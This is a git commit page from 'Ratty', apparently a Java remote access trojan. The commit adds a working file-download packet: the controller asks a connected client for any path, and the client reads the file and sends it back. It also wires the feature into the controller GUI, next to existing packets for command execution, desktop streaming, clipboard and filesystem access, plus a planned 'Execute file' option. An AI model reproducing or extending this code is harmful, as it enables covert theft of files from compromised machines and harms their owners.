Browse Source

Major changes

Implemented file download
master
Sogomn 9 years ago
parent
commit
88de263a32
  1. 75
      Ratty/src/de/sogomn/rat/packet/DownloadPacket.java
  2. 3
      Ratty/src/de/sogomn/rat/packet/PacketType.java
  3. 1
      Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java
  4. 7
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

75
Ratty/src/de/sogomn/rat/packet/DownloadPacket.java

@ -0,0 +1,75 @@
package de.sogomn.rat.packet;
import java.io.File;
import de.sogomn.engine.util.FileUtils;
import de.sogomn.rat.ActiveClient;
public final class DownloadPacket extends AbstractPingPongPacket {
private String path, fileName;
private byte[] data;
public DownloadPacket(final String path) {
this.path = path;
type = REQUEST;
}
public DownloadPacket() {
this("");
type = DATA;
}
@Override
protected void sendRequest(final ActiveClient client) {
client.writeUTF(path);
}
@Override
protected void sendData(final ActiveClient client) {
client.writeInt(data.length);
client.writeUTF(fileName);
client.write(data);
}
@Override
protected void receiveRequest(final ActiveClient client) {
path = client.readUTF();
}
@Override
protected void receiveData(final ActiveClient client) {
final int length = client.readInt();
data = new byte[length];
fileName = client.readUTF();
client.read(data);
}
@Override
protected void executeRequest(final ActiveClient client) {
final File file = new File(path);
if (file.exists() && !file.isDirectory()) {
fileName = file.getName();
data = FileUtils.readExternalData(path);
type = DATA;
client.addPacket(this);
}
}
@Override
protected void executeData(final ActiveClient client) {
FileUtils.createFile(fileName);
FileUtils.writeData(fileName, data);
}
public String getFileName() {
return fileName;
}
}

3
Ratty/src/de/sogomn/rat/packet/PacketType.java

@ -11,7 +11,8 @@ public enum PacketType {
COMMAND(6, CommandPacket.class),
DESKTOP(7, DesktopStreamPacket.class),
CLIPBOARD(8, ClipboardPacket.class),
FILE(9, FileSystemPacket.class);
FILE(9, FileSystemPacket.class),
DOWNLOAD(10, DownloadPacket.class);
public final byte id;
public final Class<? extends IPacket> clazz;

1
Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java

@ -44,6 +44,7 @@ public final class FileTreePanel {
public static final String DOWNLOAD = "Download file";
public static final String UPLOAD = "Upload file";
public static final String DELETE = "Delete file";
public static final String EXECUTE = "Execute file";//TODO Add
public static final String NEW_FOLDER = "New folder";
public static final String[] COMMANDS = {

7
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -8,6 +8,7 @@ import de.sogomn.rat.IClientObserver;
import de.sogomn.rat.packet.ClipboardPacket;
import de.sogomn.rat.packet.CommandPacket;
import de.sogomn.rat.packet.DesktopStreamPacket;
import de.sogomn.rat.packet.DownloadPacket;
import de.sogomn.rat.packet.FileSystemPacket;
import de.sogomn.rat.packet.FreePacket;
import de.sogomn.rat.packet.IPacket;
@ -71,6 +72,12 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
final String path = treePanel.getLastPathClicked();
final FileSystemPacket packet = new FileSystemPacket(path);
return packet;
} else if (command == FileTreePanel.DOWNLOAD) {
final FileTreePanel treePanel = serverClient.getTreePanel();
final String path = treePanel.getLastPathClicked();
final DownloadPacket packet = new DownloadPacket(path);
return packet;
}

Loading…
Cancel
Save